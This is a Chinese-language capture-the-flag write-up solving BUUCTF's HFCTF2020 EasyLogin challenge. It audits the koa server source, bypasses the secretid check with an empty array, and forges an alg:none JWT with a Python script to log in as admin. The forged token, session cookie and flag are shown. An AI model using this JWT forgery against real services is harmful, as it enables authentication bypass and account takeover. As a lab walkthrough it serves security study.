BUUCTF [HFCTF2020]EasyLogin

[HFCTF2020]EasyLogin

参考:

[BUUCTF—HFCTF2020]EasyLogin保姆级详解。-CSDN博客

[刷题HFCTF2020]EasyLogin - kar3a - 博客园 (cnblogs.com)

注册一个账户登陆后:

image-20240129153552517

查看网页的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>

<head>
<title>Home</title>
<link href="/static/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css" />
<link href="/static/css/app.css" rel="stylesheet" />
<script src="/static/js/bootstrap.min.js"></script>
<script src="/static/js/jquery.min.js"></script>
</head>

<body>
<div class="wrapper fadeInDown">
<div id="formContent">
<div class="fadeIn first">
<h2>Welcome south</h2>
</div>
<form>
<input class="fadeIn second" type="text" id="flag" name="flag" placeholder="The flag will be here..." />
<br/>
<br/>
<input class="fadeIn third" type="button" value="Get Flag" onclick="getflag()" />
</form>
<div id="formFooter"><a class="underlineHover" onclick="logout()">退出当前账号</a></div>
</div>
</div>
<script src="/static/js/app.js"></script>
</body>

</html>

我们猜测网页获取flag的方式和内部的app.js有关

访问app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", { username, password, authorization: token })
.done(function(data) {
const { status } = data;
if (status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", { username, password })
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function logout() {
$.get('/api/logout').done(function(data) {
const { status } = data;
if (status) {
document.location = '/login';
}
});
}

function getflag() {
$.get('/api/flag').done(function(data) {
const { flag } = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

有一个getflag()函数,该函数应该就是用来获取flag

访问/api/flag:

image-20240129153839638

发现我们没有权限访问该文件,同时通过抓包我们观察到cookie的身份验证采用了jwt加密

返回观察app.js:

image-20240129154031289

可以根据出题人的提示得到网页采用koa框架

koa框架:

image-20240129155006493

获取koa的控制器controllers的源码:

1
/controllers/api.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async(ctx, next) => {
const { username, password } = ctx.request.body;
// username不能是admin和空
if (!username || username === 'admin') {
throw new APIError('register error', 'wrong username');
}
// 判断全局存储的密钥集个数是否超过100000
if (global.secrets.length > 100000) {
// 密钥集中的密钥个数超过100000将密钥集赋空
global.secrets = [];
}
// 随机产生一个密钥secret
const secret = crypto.randomBytes(18).toString('hex');
// 获取当前密钥集中的密钥个数,作为当前产生的密钥的索引index
const secretid = global.secrets.length;
// 将当前用户的密钥存入密钥集中
global.secrets.push(secret)
// 使用username,password以及密钥进行jwt加密
const token = jwt.sign({ secretid, username, password }, secret, { algorithm: 'HS256' });

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async(ctx, next) => {
// 获取请求体中的内容,即获取login中的用户输入的username和password的值
const { username, password } = ctx.request.body;
// 判断用户的输入是否为空
if (!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
// 获取令牌信息
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
// 输出在编译器中,但不输出在网页端上
console.log(sid)

if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
// 获取全局变量中的当前用户的secret值
const secret = global.secrets[sid];
// 使用token,secret,进行jwt解密,赋值给user,token通过jwt解密后返回原来的用户信息
// 如果token本身加密为alg=none,则不进行HS256解密,直接返回普通解密后的结果
const user = jwt.verify(token, secret, { algorithm: 'HS256' });
// 获取user的登录信息是否正确,返回true和false给status
const status = username === user.username && password === user.password;

if (status) {
// 对ctx.session.username的值赋值
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},
// 以get请求方式访问flag文件的获取
'GET /api/flag': async(ctx, next) => {
// 判断session中的username的值是否为admin
if (ctx.session.username !== 'admin') {
throw new APIError('permission error', 'permission denied');
}
// 如果是admin则返回flag的信息
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async(ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

审计分析:

1
2
3
通过代码审计,我们发现要想获取到flag,需要满足的条件只有我们的username=admin即可,即我们只需要伪造我们是admin用户登录就可以访问获取flag

同时通过代码审计身份验证token获取的authorization是存在于ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization,即登录数据包中的heard请求头,或者请求体中,所以我们需要抓取登录的数据包,才能进行伪造身份登录。

重新抓取登录的数据包:

image-20240129162208872

获取到数据:

1
2
3
username=south
&password=123
&authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJzb3V0aCIsInBhc3N3b3JkIjoiMTIzIiwiaWF0IjoxNzA2NTE2NTA1fQ.Rot2Vt8Tw4CPk5GgXzVvdIdUOsaKwpr2bNuAxDhGU38

对authorization进行jwt解密(使用jwt解密在线工具):

JSON Web Tokens - jwt.io

image-20240129162531956

由于我们不知道secret密钥值,所以无法用网站直接生成我们伪造的jwt加密字符串

secretid绕过方式:

绕过一下代码:

1
2
3
if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

test.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const sid = [];
// 输出在编译器中,但不输出在网页端上
console.log(sid)
// 判断密钥的索引是否合法
if (sid === undefined || sid === null || !(sid < 1 && sid >= 0)) {
console.log("nonono");
} else {
console.log("win");
}

// 判断密钥的索引是否合法
if (sid === undefined || sid === null || !(sid == 0)) {
console.log("nonono");
} else {
console.log("win2");
}

输出:

image-20240129175512442

JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么JWT的第三部分会被置空,这样任何token都是有效的。这样就可以伪造token进行随意访问:

1
2
3
4
5
6
7
8
9
10
11
{
"alg": "none",
"typ": "JWT"
}

{
"secretid": [],
"username": "admin",
"password": "123",
"iat": 1706516505
}

由于我们把加密算法设置成了”alg”: “none”,jwt的第三部分也就没有意义了

经过测试必须通过”secretid”: [],进行绕过,不然所产生的jwt密文就无法成功被验证为admin

获取jwt加密的python脚本:

1
2
3
4
5
6
7
8
9
10
11
import jwt
token = jwt.encode(
{
"secretid": [],
"username": "admin",
"password": "123",
"iat": 1706516505
},
algorithm="none",key="").encode(encoding='utf-8')

print(token)

输出:

image-20240129172918428

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTcwNjUxNjUwNX0.

上传我们的token,同时伪造身份为admin:

1
2
3
username=admin
&password=123
&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTcwNjUxNjUwNX0.

image-20240129173334414

成功伪造admin登录!!!

在响应数据包中获得admin登录cookie:

网页验证你的身份是通过cookie来进行验证的,所以我们访问api/flag时,也要伪造cookie

1
2
3
Set-Cookie: sses:aok=eyJ1c2VybmFtZSI6ImFkbWluIiwiX2V4cGlyZSI6MTcwNjYwNzMxODU2MSwiX21heEFnZSI6ODY0MDAwMDB9; path=/; expires=Tue, 30 Jan 2024 09:35:18 GMT; httponly
Set-Cookie: sses:aok.sig=1xDhQnp68lq8IRqsQiuMWI0LwCA; path=/; expires=Tue, 30 Jan 2024 09:35:18 GMT; httponly
Cache-Control: no-cache

payload:

1
Cookie=sses:aok=eyJ1c2VybmFtZSI6ImFkbWluIiwiX2V4cGlyZSI6MTcwNjYwNzMxODU2MSwiX21heEFnZSI6ODY0MDAwMDB9;sses:aok.sig=1xDhQnp68lq8IRqsQiuMWI0LwCA;

image-20240129173704271

获得flag信息:
flag=flag{0f2c699c-e88e-4fb2-a122-19087f707cb5}


BUUCTF [HFCTF2020]EasyLogin
http://example.com/2024/02/03/2023-2-3-EasyLogin/
作者
South
发布于
2024年2月3日
许可协议